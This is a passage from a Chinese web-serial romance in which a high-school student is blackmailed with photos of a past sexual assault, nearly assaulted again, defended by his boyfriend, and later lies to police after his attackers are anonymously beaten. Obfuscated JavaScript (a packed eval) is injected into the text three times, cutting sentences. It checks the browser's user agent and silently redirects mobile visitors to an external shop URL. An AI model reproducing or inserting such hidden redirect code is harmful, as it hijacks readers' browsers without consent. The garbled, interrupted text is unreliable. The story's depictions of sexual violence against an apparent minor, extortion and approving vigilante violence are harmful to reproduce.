鹿炽彻底说不出话了,耳朵红得能滴血。 周浩在旁边看戏,憋笑憋得肩膀直抖。林屿推了推眼镜,默默把椅子往旁边挪了挪——不想被这对笨蛋情侣闪瞎眼。 一切都美好得不真实。 直到周五放学,鹿炽的手机震动了一下。 他掏出来看,是一条陌生号码的短信:“学霸,最近过得挺滋润啊?跟陆大校霸谈恋爱了?” 鹿炽脸色一白。 紧接着,第二条短信进来:“还记得我们吧?上次没办成的事,是不是该补上了?” 第三条:“明天下午三点,老地方见。自己来,别告诉陆沉远。不然……我们就去找你爸妈聊聊,聊聊他们儿子是怎么被四个男人玩过的。” 手机从手里滑落,掉在地上,发出沉闷的响声。 “怎么了?”陆沉远弯腰帮他捡起来。 鹿炽抢回手机,手指都在抖:“没、没什么。垃圾短信。” 陆沉远看着他苍白的脸,皱了皱眉:“真没事?” “真的。”鹿炽勉强笑了笑,“我妈刚发消息,说明天家里有事,让我早点回去。” “什么事?需要我帮忙吗?” “不用!”鹿炽声音有点急,又赶紧放缓,“就……亲戚聚会,我得去。” 陆沉远盯着他看了几秒,点头:“行,那明天我就不找你了。周日见?” “嗯。”鹿炽低头收拾书包,“周日见。” 回到家,鹿炽把自己关在房间里。他坐在床上,盯着手机屏幕上的那三条短信,浑身发冷。 怎么办? 去,就是送上门任人宰割。不去,那些人真敢找他父母——他不敢想象爸妈知道那件事后会是什么反应。 手机又震了一下。这次是图片短信。 点开,鹿炽眼前一黑。 照片是高二那年拍的。小旅馆肮脏的床单上,他衣衫不整地蜷缩着,脸上有泪痕,身上有青紫的痕迹。虽然关键部位打了马赛克,但任谁都能看出发生了什么。 下面附着一行字:“明天不见不散。别耍花样,我们手里还有更精彩的呢。” 鹿炽捂着嘴冲进卫生间,干呕起来。 吐不出来,只有胃在抽搐。他靠着冰冷的瓷砖滑坐到地上,眼泪无声地往下掉。 为什么……为什么都过去这么久了,还是逃不掉? 门外传来妈妈的声音:“炽炽?吃饭了。” 鹿炽赶紧擦掉眼泪,用冷水洗脸:“来了。” 饭桌上,他食不知味。妈妈担心地问:“是不是学习太累了?脸色这么差。” “没事。”鹿炽低头扒饭,“可能有点感冒。” “那明天别出门了,在家休息。” “明天……”鹿炽顿了顿,“明天我得去图书馆,跟同学约好了。” “哪个同学?陆沉远吗?”妈妈笑了,“那孩子最近总来家里找你,挺有礼貌的。” 鹿炽鼻子一酸,差点又掉眼泪。 “嗯。”他小声说,“是他。” 夜里,鹿炽做了噩梦。 梦里他又回到那个小旅馆。四个人围着他笑,手在他身上乱摸。他哭喊,挣扎,但没人来救他。最后他看见陆沉远站在门口,冷冷地看着,说:“鹿炽,你就这么贱?” 他惊醒过来,浑身冷汗,枕头湿了一片。 窗外天还没亮。他拿起手机,看着陆沉远的号码,手指悬在拨号键上,久久没有按下去。 不能打。 不能把陆沉远拖进这个泥潭。 那些人是畜生,什么事都做得出来。如果陆沉远因为他出事……他宁愿自己去死。 --- 第二天下午两点半,鹿炽出门了。 他跟妈妈说是去图书馆,背了个书包,里面只装了几本书和一个空钱包——他带了五百块现金,是这些年攒的压岁钱。他想,如果给钱能解决,那就给钱。 但他知道,不可能。 那些人要的不是钱。 出门前,他给陆沉远发了条消息:“我去图书馆了,晚点联系。” 陆沉远很快回:“好,注意安全。” 鹿炽看着那四个字,眼泪又涌上来。他深呼吸,把手机调成静音,塞进书包最底层。 还是那条小巷。白天比晚上更荒凉,两边的店铺都关着门,地上堆着垃圾。 黄毛和另外三个人已经等在那里了。看见鹿炽,黄毛笑了:“哟,真来了?还挺守时。” 鹿炽停下脚步,离他们三米远:“钱我带来了,五百。放过我。” “五百?”黄毛嗤笑,“你当我们是乞丐?” “那你们要多少?” “我们要你。”黄毛走上前,伸手摸他的脸,“上次被陆沉远打断了,这次可没那么好运。” 鹿炽后退:“你们别乱来……我报警了……” “报警?”黄毛一把抓住他的书包带子,“你报啊。警察来了,我就把照片发给你爸妈,发给你学校,发到网上。让大家都看看,好学生鹿炽是怎么被人玩的。” 鹿炽浑身发抖,眼泪终于掉下来:“为什么……为什么是我……” “因为你长得好看啊。”黄毛把他按在墙上,另外三个人围过来,“哭起来更好看了。” 书包被扯掉扔在地上。有人开始扒他的外套。 “不要……”鹿绝望地挣扎,“求你们……不要……” “现在说不要?”黄毛掐住他的下巴,“上次不是挺能装清高的吗?跟陆沉远搞在一起了,就觉得我们配不上你了?” “跟他没关系……”鹿炽哭着说,“你们冲我来……别动他……” “还挺护着。”黄毛冷笑,“那今天就更不能放过你了。” 衬衫扣子被扯崩,掉在地上。鹿炽感觉到冰冷的空气接触皮肤,还有那些恶心的手。 他闭上眼睛,脑子里只有一个念头:陆沉远,对不起。 --- 同一时间,陆沉远正坐在家里,心神不宁。 他总觉得鹿炽今天不对劲。脸色那么差,说话躲躲闪闪,还突然说什么亲戚聚会——昨天明明没听鹿炽妈妈提起。 他拿起手机,给鹿炽打电话。 无人接听。 又打了一遍,还是没人接。 陆沉远坐不住了。他抓起外套出门,直奔鹿炽家。到楼下时,正好遇见鹿炽妈妈买菜回来。 “阿姨,鹿炽在家吗?” “炽炽?他去图书馆了呀。”鹿炽妈妈说,“不是说跟你一起吗?” 陆沉远心里一沉:“他什么时候走的?” “两点多吧。怎么了?” “没事。”陆沉远勉强笑笑,“我可能记错时间了。阿姨我先走了。” 离开鹿炽家,陆沉远飞快地思考。图书馆?今天周六,图书馆下午三点才开门。鹿炽两点半出门,说去图书馆,但图书馆没开。 他在骗人。 为什么要骗人? 陆沉远脑子里闪过那四个混混的脸,还有上次在小巷里,黄毛说的那些话。 “高中时那事儿,他可还记得呢……” 操。 陆沉远拔腿就跑。他先去了学校附近那几个混混常出没的地方——网吧,台球厅,小卖部,都没人。 最后他跑向那条小巷。越靠近,心跳越快。 快到巷口时,他听见了声音。 是鹿炽的哭声,压抑的,破碎的,像受伤的小动物。 还有黄毛的笑声:“脱啊,怎么不脱了?上次不是挺快的吗?” 陆沉远血往头上涌。他冲进巷子,看见的画面让他瞬间失去理智—— 鹿炽被按在墙上,上衣几乎被扯光,裤子拉链被拉开。黄毛正伸手去扯他的内裤,另外三个人按着他的手脚。 鹿炽闭着眼睛,满脸是泪,嘴唇被咬出血。 “我操你妈——!” 陆沉远冲过去,一脚踹在黄毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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经过那四个人时,陆沉远停下脚步。黄毛还在地上打滚,另外三个人也疼得直抽冷气。 “听着。”陆沉远声音很冷,“照片,视频,所有东西,全都删掉。如果让我知道你们还留着,或者敢说出去一个字——” 他顿了顿,一字一顿:“我就让你们真的变成太监。听清楚了吗?” 四个人拼命点头。 “滚。” 四个人连滚带爬地跑了。 陆沉远抱着鹿炽走出小巷。下午的阳光很好,照在身上暖洋洋的,但鹿炽还在发抖。 “我们去哪儿?”鹿炽小声问。 “去我家。”陆沉远说,“我爸妈出差了,没人。” 鹿炽没再说话,只是把脸埋进陆沉远颈窝。 到家后,陆沉远把鹿炽放在沙发上,去浴室放热水。出来时,鹿炽还保持着刚才的姿势,缩成一团。 “洗个澡吧。”陆沉远蹲在他面前,“会舒服点。” 鹿炽摇头:“我不想动。” 陆沉远没勉强。他去厨房冲了杯热牛奶,加了两勺糖,端过来:“那就喝点热的。” 鹿炽接过杯子,手还在抖。陆沉远握住他的手,帮他稳住。 “陆沉远。”鹿炽忽然开口,“你是不是……早就知道了?” 陆沉远沉默了几秒,点头:“嗯。” “怎么知道的?” “我……”陆沉远不知道怎么解释,“我猜的。” 鹿炽笑了,笑容很苦:“是不是觉得我很脏?” “不。”陆沉远握紧他的手,“鹿炽,你听我说。脏的是他们,不是你。你没有任何错。” 鹿炽眼泪又掉下来:“可是我好恨……恨他们,也恨我自己……为什么是我……为什么偏偏是我……” 陆沉远把他拉进怀里:“不是你的错。是他们该死。” 鹿炽在他怀里哭,哭到没力气,慢慢睡着了。 陆沉远把他抱进卧室,盖好被子。坐在床边,看着鹿炽睡梦中还皱着眉的脸,心里像被刀割一样疼。 他想,在现实世界里,鹿炽一个人承受了这一切。 被侵犯,不敢告诉任何人。被他家暴,不敢反抗。最后心死了,离开他,却又在去机场的路上出了车祸。 如果……如果他能早点知道,如果能重来一次…… 可是没有如果。 他只能在记忆世界里,尽力弥补。 陆沉远握住鹿炽的手,轻声说:“鹿炽,这次我会保护你。无论如何,都会保护你。” 12. 反正我这辈子赖定你了 周一回学校,鹿炽看起来正常得可怕。 他像往常一样六点半到校,安静地坐在座位上预习。数学课被点名回答问题,答案准确无误。物理课小测验,他第一个交卷,分数还是全班最高。 甚至午休时,他还像以前一样,被几个女生围着问问题。 “鹿炽,这道题怎么做呀?” “这里要先用动能定理,再结合动量守恒。”鹿炽声音平稳,条理清晰,“你看,这样列方程……” 女生们恍然大悟:“原来如此!谢谢学霸!” 鹿炽笑了笑,低头继续看书。 但陆沉远看得清清楚楚——那个笑没有到达眼睛。鹿炽的眼睛像蒙了一层雾,空洞,无神,像精致的玻璃珠,漂亮但没有生气。 而且他太正常了。正常到不像一个三天前刚经历那种事的人。 “远哥。”周浩凑过来,压低声音,“鹿炽他……没事吧?” 陆沉远看着鹿炽挺直的背脊,摇了摇头。 怎么可能没事。 放学时,陆沉远照例等鹿炽一起走。鹿炽收拾书包的动作很慢,像是在拖延时间。 “今天……我想自己回家。”鹿炽小声说。 “为什么?”陆沉远问。 “想……走走。”鹿炽避开他的视线,“一个人。” 陆沉远沉默了几秒,点头:“好。但你到家要给我发消息。” “嗯。” 鹿炽背着书包走出教室。陆沉远没跟上去,只是站在走廊窗口,看着鹿炽走出校门,汇入人群,然后拐进一条小路——不是回家的路。 陆沉远犹豫了一下,还是跟了上去。 他保持着不远不近的距离,看见鹿炽走进了一家药店。几分钟后出来,手里拿着一个小袋子。 然后鹿炽又走进旁边的便利店,买了几瓶水,还有……碘伏和棉签。 陆沉远心脏一紧。 鹿炽走到公园,找了个没人的长椅坐下。他挽起袖子,陆沉远看见了——手臂上有青紫的淤痕,还有一道结了痂的划痕。 鹿炽拧开碘伏瓶,用棉签蘸了,一点一点涂在伤口上。动作很轻,但眉头皱得很紧。 涂完手臂,他犹豫了一下,掀开了衣服下摆。 陆沉远看见了他腰侧大片的淤青,紫黑色的,在白皙的皮肤上触目惊心。 鹿炽咬着嘴唇涂药,眼泪无声地掉下来。但他没哭出声,只是安静地流泪,安静地上药,像在处理别人的伤口。 陆沉远站在树后,指甲深深陷进掌心。 他想冲过去抱住鹿炽,想告诉他“疼就哭出来”,想说他可以帮他上药。 但他知道,鹿炽不会想要这样。 鹿炽要强,自尊心高。他宁愿一个人躲起来舔伤口,也不愿让别人看见他的脆弱。 上完药,鹿炽在长椅上坐了很久。他抱着膝盖,看着天空,眼神空洞。夕阳把他的影子拉得很长,孤单得像被世界遗弃。 直到天快黑了,鹿炽才慢慢起身,把药瓶装好,往家的方向走。 陆沉远跟在他身后,保持着一个街区的距离。他看着鹿炽走进小区,上楼,窗户亮起灯。 然后他拿出手机,等。 十分钟后,鹿炽的消息来了:“我到家了。” 陆沉远回:“好。早点休息。” 他没问伤口的事,鹿炽也没说。 --- 第二天课间,陆沉远把鹿炽拉到楼梯拐角。 “药上了吗?”他问。 鹿炽愣了一下:“什么药?” “你身上的伤。”陆沉远看着他,“我昨天看见了。” 鹿炽脸色瞬间苍白:“你……跟踪我?” “我不放心。”陆沉远说,“鹿炽,你别一个人扛着。” “我没扛着。”鹿炽别开脸,“我很好。” “你不好。”陆沉远握住他的手腕,力道很轻,“你眼睛是肿的,昨晚又哭了是不是?” 鹿炽挣开他的手:“没有。” “鹿炽……” “我说了我没事!”鹿炽声音突然提高,带着哽咽,“你能不能别问了?!” 说完他转身就跑,留下陆沉远一个人站在原地。 周浩从旁边冒出来,拍拍陆沉远的肩:“远哥,给他点时间吧。” “我知道。”陆沉远苦笑,“可我看着难受。” “谁看着不难受?”周浩叹气,“鹿炽现在……像个瓷娃娃,一碰就碎。” 这话说得太贴切。鹿炽表面完好无损,内里却布满了裂痕。他依然考第一,依然讲题,依然对每个人笑。 但那笑不达眼底,那优秀像机械的程序,那友善像戴上的面具。 他像被抽走了魂,只剩下一个完美的外壳。 下午体育课,篮球场。鹿炽坐在场边的长椅上,捧着本书,但很久没翻页。 陆沉远打球打到一半,看见鹿炽起身往教学楼走。他把球扔给周浩:“帮我顶一下。” 他追上去,在教学楼一楼的女卫生间门口——等等,女卫生间? 陆沉远脚步一顿。他看见鹿炽走进的是女卫生间旁边的杂物间。 他走过去,轻轻推开门缝。 鹿炽背对着门,站在洗手池前,正在洗脸。水哗哗地流,他一遍遍往脸上泼水,肩膀微微颤抖。 陆沉远刚要进去,听见了压抑的、细碎的哭声。 鹿炽在哭。咬着嘴唇,不让自己发出声音,但眼泪混着水流往下淌。 他哭得很克制,也很绝望。像困兽在笼子里挣扎,明知道逃不出去,还是用头一下下撞着栏杆。 陆沉远站在门外,心脏疼得缩成一团。 他不知道该不该进去。进去,鹿炽会难堪。不进去,鹿炽一个人承受。 最后他选择了后退。他走到楼梯口,等鹿炽出来。 五分钟后,鹿炽出来了。眼睛还有点红,但脸上已经擦干净了。看见陆沉远,他愣了一下。 “你怎么在这儿?” “等你。”陆沉远走过去,递给他一瓶水,“喝点水。” 鹿炽接过水,没喝:“你都看见了?” “嗯。” 鹿炽沉默了一会儿,轻声说:“对不起。” “为什么道歉?” “我……控制不住。”鹿炽低头看着手里的水瓶,“我也不知道怎么了,突然就想哭。” 陆沉远伸手,轻轻抱住他:“想哭就哭,不用控制。” 鹿炽僵了一下,然后慢慢放松,把脸埋在陆沉远肩头。这次他没哭出声,但陆沉远感觉到肩膀湿了一片。 “陆沉远,”鹿炽声音闷闷的,“我是不是……很没用?” “不。”陆沉远抱紧他,“你很勇敢。” “勇敢什么?”鹿炽苦笑,“我连晚上睡觉都不敢关灯。” 陆沉远心脏一疼:“那你以后晚上……我给你打电话?等你睡着了我再挂?” 鹿炽摇头:“不用。太麻烦了。” “不麻烦。”陆沉远说,“鹿炽,对我来说,你从来不是麻烦。” 鹿炽没说话,只是抱他抱得更紧了些。 放学后,陆沉远坚持送鹿炽回家。这次鹿炽没拒绝。 两人并排走着,谁也没说话。到鹿炽家楼下时,陆沉远忽然说:“鹿炽,周末……要不要去我家?” 鹿炽抬头看他。 “我爸妈这周末也不在。”陆沉远说,“我们可以一起写作业,打游戏,或者……什么都不做,就待着。” 鹿炽犹豫了一下:“就我们两个?” “嗯。” “……好。” 陆沉远笑了:“那周六早上我去接你。” “嗯。” 鹿炽转身上楼。走到二楼时,他回头看了一眼,陆沉远还站在楼下,对他挥了挥手。 鹿炽也挥了挥手,然后快步上楼。 回到家,妈妈正在做饭:“回来啦?陆沉远送你回来的?” “嗯。” “那孩子真不错。”妈妈笑着说,“下次叫他来家里吃饭啊。” 鹿炽鼻子一酸:“妈……” “怎么了?” “没什么。”鹿炽摇摇头,“我去写作业了。” 他走进房间,关上门,背靠着门板滑坐到地上。 他好累。 装正常好累,笑好累,连呼吸都好累。 但他不能不装。不能让爸妈担心,不能让同学看出异样,不能让陆沉远……更担心。 他拿出手机,打开相册。里面有一张照片,是文艺节那天拍的。舞台上,陆沉远抱着“死去”的他,哭得撕心裂肺。 那时候的他,虽然也在哭,但心里是满的。因为知道那是演戏,知道戏演完了,陆沉远还会笑着拉他起来,说“演得不错”。 可现在呢? 现在陆沉远看着他时的眼神,像在看一件易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271903|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎品。小心翼翼,战战兢兢,生怕一个不小心,他就碎了。 他不想要这样。 他想回到以前,回到那个会跟陆沉远斗嘴,会因为他一句话脸红,会因为考了第一而偷偷得意的鹿炽。 可他回不去了。 那些手,那些笑声,那些疼痛和屈辱……像烙印一样刻在骨头上,擦不掉,忘不了。 鹿炽把脸埋在膝盖里,无声地哭。 --- 周六早上九点,陆沉远准时出现在鹿炽家楼下。 鹿炽背着书包下来,穿着简单的白T恤和牛仔裤,看起来清爽干净。但陆沉远看见了他眼下淡淡的青黑。 “昨晚没睡好?”陆沉远问。 “还行。”鹿炽含糊道。 陆沉远没再问,只是接过他的书包:“走吧。” 陆沉远家离学校不远,一个高档小区,绿化很好。他家在十二楼,大平层,装修简约现代。 “你一个人住这么大房子?”鹿炽有点惊讶。 “我爸妈常出差。”陆沉远从鞋柜里拿出拖鞋,“进来吧。” 鹿炽换了鞋,走进去。客厅很大,落地窗外是城市景观。茶几上摊着几本习题册,还有吃了一半的薯片。 “有点乱。”陆沉远不好意思地说,“昨天打游戏来着。” “没事。”鹿炽在沙发上坐下,“我们……写作业?” “不急。”陆沉远从冰箱里拿出两瓶饮料,“先看个电影?” 鹿炽犹豫了一下:“什么电影?” “你挑。”陆沉远打开电视,“我收藏了不少。” 鹿炽翻看片单,最后选了一部喜剧片。陆沉远有点意外——他以为鹿炽会选文艺片或者纪录片。 电影开始,两人并肩坐在沙发上。陆沉远偷偷看了鹿炽一眼——鹿炽看得很认真,但没笑。 电影里搞笑的情节,其他观众会哄堂大笑的桥段,鹿炽只是静静地看着,嘴角都没动一下。 陆沉远心里一沉。 电影放到一半,陆沉远忽然说:“鹿炽,你想不想……出去走走?” 鹿炽转头看他:“去哪儿?” “随便。”陆沉远站起来,“天气这么好,在家待着浪费了。” 两人下楼,在小区里散步。阳光很好,草坪上有孩子在踢球,老人在下棋。 “陆沉远。”鹿炽忽然开口,“你是不是……觉得我很可怜?” 陆沉远停下脚步:“为什么这么想?” “因为你看我的眼神。”鹿炽说,“像在看受伤的小动物。” 陆沉远沉默了一会儿,说:“我不是可怜你。我是心疼。” “有区别吗?” “有。”陆沉远看着他,“可怜是居高临下的同情,心疼是感同身受的难过。” 鹿炽愣住了。 “鹿炽,”陆沉远轻声说,“你不用在我面前装。难受就难受,想哭就哭,想发脾气就发脾气。我不会觉得你脆弱,也不会觉得你麻烦。” 鹿炽眼睛红了:“可我……不想这样。” “为什么?” “因为……”鹿炽声音哽咽,“我不想变成你的负担。” 陆沉远心脏一疼。他伸手,把鹿炽拉进怀里。 “你不是负担。”他在鹿炽耳边说,“你是我喜欢的人。喜欢你,就要接受你的全部——好的,坏的,开心的,难过的。全部。” 鹿炽终于哭出声。这次他没压抑,没克制,像要把所有的委屈都哭出来。 陆沉远抱着他,一遍遍拍着他的背。 他知道,鹿炽心里的伤口太深,不是几句话就能愈合的。 但他会等。等鹿炽慢慢好起来,等鹿炽重新学会笑,等鹿炽……重新相信这个世界。 阳光洒在他们身上,暖洋洋的。 草坪上的孩子还在踢球,笑声清脆。 鹿炽在陆沉远怀里哭了很久,哭到没力气,哭到眼泪都流干了。 最后他抬起头,眼睛肿得像桃子,但眼神清澈了些。 “陆沉远,”他说,“我会好起来的。” “嗯。”陆沉远擦掉他的眼泪,“我知道。” “可能需要……很久。” “多久都等。”陆沉远笑了,“反正我这辈子赖定你了。” 陆沉远想,这就够了。 慢慢来,他有的是耐心。 鹿炽值得所有的等待,所有的温柔,所有的爱。 13. 看不见 周一早上,鹿炽刚进教室,就感觉气氛不对劲。 几个同学围在一起,压低声音说着什么,脸上带着既兴奋又害怕的表情。周浩更是直接窜到他面前,眼睛瞪得溜圆:“鹿炽,你听说了吗?!” “听说什么?”鹿炽放下书包,有些茫然。 “就那几个混混!”周浩声音压得更低了,“黄毛那帮人,周末全进医院了!” 鹿炽手一抖,书包差点掉地上:“……什么?” “真的!我表弟在二中,跟他们一个学校。”周浩说得眉飞色舞,“说是周六晚上,有人在巷子里堵住他们,一句话没说,直接动手。四个人,全被打骨折了!黄毛最惨,两条胳膊一条腿都断了,现在还在医院躺着呢!” 鹿炽脸色发白,下意识看向陆沉远的座位——空的。 “谁……谁干的?”他声音有点抖。 “不知道啊!”周浩说,“有人说是一个蒙面人,也有人说是一伙人。反正下手特别狠,专挑关节打,但又避开了要害,摆明就是要他们疼,又不敢闹出人命。” 旁边一个男生凑过来:“我听说是因为他们惹了不该惹的人。” “能惹谁啊?就那几个混混,平时也就欺负欺负学生。”另一个女生说。 “那可不一定,说不定踢到铁板了呢。” “要我说,活该!”周浩解气地说,“这种人渣,早就该有人收拾了。” 鹿炽坐在座位上,脑子乱成一团。他想起周末陆沉远说有事要处理,让他自己在家写作业。想起陆沉远接电话时躲闪的眼神。想起昨天下午见面时,陆沉远右手关节处隐约的红肿—— “鹿炽?”周浩碰了碰他,“你怎么了?脸色这么差。” “……没事。”鹿炽低下头,“就是……有点突然。” “确实突然。”周浩挠挠头,“不过这不是好事吗?他们以后应该不敢来找你麻烦了。” 鹿炽没说话。 上课铃响了,陆沉远踩着点冲进教室。他在鹿炽旁边坐下,喘着气:“差点迟到。” 鹿炽看着他。陆沉远今天穿了件长袖衬衫,扣子一丝不苟地扣到最上面一颗。他额头上有点细汗,但眼神很平静。 “你……”鹿炽小声说,“周末干什么去了?” “家里有点事。”陆沉远从书包里掏出课本,“我爸让我帮忙处理点东西。” “处理什么?” “就……一些文件。”陆沉远避开了他的视线,“怎么突然问这个?” 鹿炽盯着他看了几秒,摇摇头:“没什么。” 第一节是语文课,但根本没人认真听。下课铃一响,全班又炸开了锅。 “最新消息!”一个男生从后门冲进来,“我邻居在人民医院当护士,她说那四个人里有一个肋骨断了三根!” “我靠!” “这得多大仇啊?” “关键是到现在都不知道是谁干的,警察去问,那几个混混自己都说没看清脸。” “做贼心虚吧?他们敢报警吗?自己屁股都不干净。” 鹿炽听着周围的议论,手指无意识地抠着桌角。他余光瞥见陆沉远正在看书,姿态放松,好像这些事跟他完全无关。 但他翻页的动作太快了,快得不自然。 “陆沉远。”鹿炽忽然开口。 “嗯?” “你手怎么了?” 陆沉远翻书的动作顿了一下:“什么怎么了?” “右手。”鹿炽盯着他,“关节那里,有点红。” 陆沉远低头看了看自己的手,笑了:“哦,这个啊。周末打沙袋来着,可能用力过猛了。” “打沙袋?” “嗯,我家地下室有个沙袋。”陆沉远说得轻描淡写,“压力大的时候就打两下,解压。” 鹿炽看着他,没再问。 但他心里清楚,陆沉远在说谎。陆沉远家他去过,根本没有地下室。 --- 中午吃饭时,传闻已经进化出十几个版本。 有人说那几个混混是惹了□□,有人说他们是欠了高利贷,还有人说是他们以前欺负过的学生找人报复。 最离谱的一个版本是说有神秘正义使者,专门收拾校园霸凌的人。 “这个版本我喜欢。”周浩边扒饭边说,“要是真有这种人,咱们学校那几个混子也该收拾收拾。” 林屿推了推眼镜:“以暴制暴不可取。” “那你说怎么办?”周浩不服,“报警?有用吗?他们欺负鹿炽那次,要不是远哥及时赶到,后果不堪设想。可后来呢?警察就批评教育了几句,连案都没立。” 林屿沉默了。 鹿炽低头吃着饭,食不知味。他想起那些短信,那些照片,那些恶心的手。想起黄毛掐着他下巴说“让大家都看看”。 如果……如果那些人真的把照片发出去…… “鹿炽?”陆沉远碰了碰他的胳膊,“怎么不吃?” “没胃口。”鹿炽放下筷子,“我饱了。” “才吃这么点。”陆沉远皱眉,“下午会饿的。” “真吃不下了。” 陆沉远没再勉强,只是把自己餐盘里的鸡腿夹到鹿炽盘子里:“那至少把这个吃了,补充蛋白质。” 鹿炽看着那个鸡腿,忽然问:“陆沉远,你觉得……那些人被打,是报应吗?” 陆沉远夹菜的手停了一秒:“为什么这么问?” “就是……”鹿炽声音很轻,“他们刚威胁过我,就出事了。太巧了。” “可能是巧合。”陆沉远说,“也可能他们惹的人太多,迟早要还。” “你觉得是哪种?” 陆沉远看着他:“你觉得呢?” 鹿炽摇头:“我不知道。我只是……有点怕。” “怕什么?” “怕……”鹿炽咬着嘴唇,“怕事情闹大,怕警察查,怕……牵连到你。” 陆沉远笑了,笑容很温柔:“怎么会牵连到我?我又没做什么。” “可是你——” “我周末在家打游戏,看球赛,跟我爸视频。”陆沉远打断他,“鹿炽,别想太多。那些人渣遭报应,是好事。我们该高兴。” 他说得那么自然,那么笃定,让鹿炽几乎要相信了。 但几乎。 下午体育课,鹿炽因为“身体不舒服”请假,在教室休息。他趴在桌上,盯着窗外发呆。 手机震动了一下,是陌生号码。鹿炽心脏一紧,点开—— “鹿炽同学,我们是市公安局。关于张强(黄毛)等人被故意伤害一案,有些情况想向你了解一下。方便的话,请回电。” 鹿炽手一抖,手机掉在桌上。 他盯着那条短信,呼吸急促。警察找他了……他们查到什么了?会不会怀疑陆沉远? 他抓起手机,想删掉短信,但又不敢。犹豫了几分钟,他回拨过去。 电话很快接通:“喂,你好。” “我、我是鹿炽。”鹿炽声音发颤,“刚才收到短信……” “哦,鹿炽同学。”对方声音很温和,“别紧张,我们就是例行询问。张强他们你认识吧?” “……认识。” “他们有没有找过你麻烦?” 鹿炽咬紧嘴唇:“……有。” “什么时候?” “上周……还有以前。” “以前是什么时候?” 鹿炽闭上眼睛:“高二……高二下学期。” 电话那头沉默了一下:“他们对你做了什么?” “……欺负我。” “具体怎么欺负?” 鹿炽说不出口。他握着手机,眼泪无声地往下掉。 “鹿炽同学?”警察的声音放柔了些,“如果你不方便说,我们可以面谈。或者……让你父母陪同。” “不!”鹿炽急声道,“不要告诉我爸妈!” “那……” “他们就是……打了我,抢了我的钱。”鹿炽编了个最普通的理由,“就这些。” 警察又问了几个问题,鹿炽一一回答,尽量说得简单。最后警察说:“好的,谢谢配合。如果想起什么,随时联系我们。” 挂断电话,鹿炽浑身发软,瘫在椅子上。 他骗了警察。如果以后查出来…… 教室门开了,陆沉远走进来:“鹿炽?体育老师让我来看看你——” 他看见鹿炽脸上的泪痕,快步走过来:“怎么了?谁欺负你了?” 鹿炽摇头,把手机递给他看。 陆沉远看完短信,脸色沉了下来:“警察找你了?” “嗯。”鹿炽声音哽咽,“我撒谎了……我说他们只是打了我,抢了钱。” 陆沉远沉默了几秒,握住他的手:“你做得对。” “可是……如果警察查出来……” “查不出来的。”陆沉远说,“那几个混混自己都不敢说实话,警察能查到什么?” “你怎么知道他们不敢说?” 陆沉远看着他:“因为他们手里有你的照片。如果他们敢把事闹大,那些照片就会成为证据——证明他们曾经对你做过什么。他们没那么傻。” 鹿炽愣住了。他没想到这一层。 “所以,”陆沉远擦掉他的眼泪,“这件事到此为止。警察不会再找你,那几个混混也不敢再惹你。一切都结束了。” “真的……结束了吗?” “真的。”陆沉远认真地说,“鹿炽,从现在开始,你可以安心过日子了。不用再怕他们,不用再躲躲藏藏。你自由了。” 鹿炽看着他,眼泪又涌上来。这次不是因为害怕,是因为……解脱。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271904|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “陆沉远……”他轻声说,“是你做的,对不对?” 陆沉远没承认,也没否认。他只是看着鹿炽,眼神很深。 “别问。”他说,“有些事,不知道比较好。” 鹿炽明白了。他低下头,声音很小:“谢谢。” “不用谢。”陆沉远揉揉他的头发,“我说过,我会保护你。” 放学后,陆沉远送鹿炽回家。路上,鹿炽一直很安静。 快到小区时,他忽然说:“陆沉远,你……会不会觉得我很麻烦?” “为什么这么问?” “因为我,你才……”鹿炽顿了顿,“才惹上这些事。” 陆沉远停下脚步,转身面对他:“鹿炽,你听好。为你做的任何事,都是我自愿的。你不是麻烦,从来都不是。” “可是……” “没有可是。”陆沉远打断他,“我喜欢你,所以想保护你,想让你开心,想看你笑。这有什么不对吗?” 鹿炽眼睛红了:“可我怕……怕你因为我出事。” “我不会出事。”陆沉远笑了,“我厉害着呢。” 鹿炽也笑了,虽然眼里还有泪:“自恋。” “这叫自信。”陆沉远牵起他的手,“走吧,送你到家。” 两人走到楼下,鹿炽正要上楼,陆沉远叫住他:“鹿炽。” “嗯?” “以后……”陆沉远看着他,“如果再有这种事,一定要告诉我。别一个人扛着,好吗?” 鹿炽点头:“好。” “真的?” “真的。”鹿炽认真地说,“我答应你。” 陆沉远这才笑了:“那上去吧。晚上给我打电话。” “嗯。” 鹿炽转身上楼。走到二楼时,他回头看了一眼。陆沉远还站在楼下,夕阳给他整个人镀上一层金边。 那么高大,那么可靠。 鹿炽心里涌起一股暖流。他知道,无论发生什么,陆沉远都会在他身边。 这就够了。 --- 几天后,关于那几个混混的传闻渐渐平息了。大家有了新的八卦,新的热点,没人再提起那件事。 只有鹿炽知道,有些东西已经改变了。 他开始敢一个人走那条小巷——虽然还是会心跳加速,但至少能走过去了。晚上睡觉,他试着关灯,虽然前半夜还是会做噩梦,但后半夜能睡踏实了。 他甚至开始敢跟陆沉远开玩笑了。 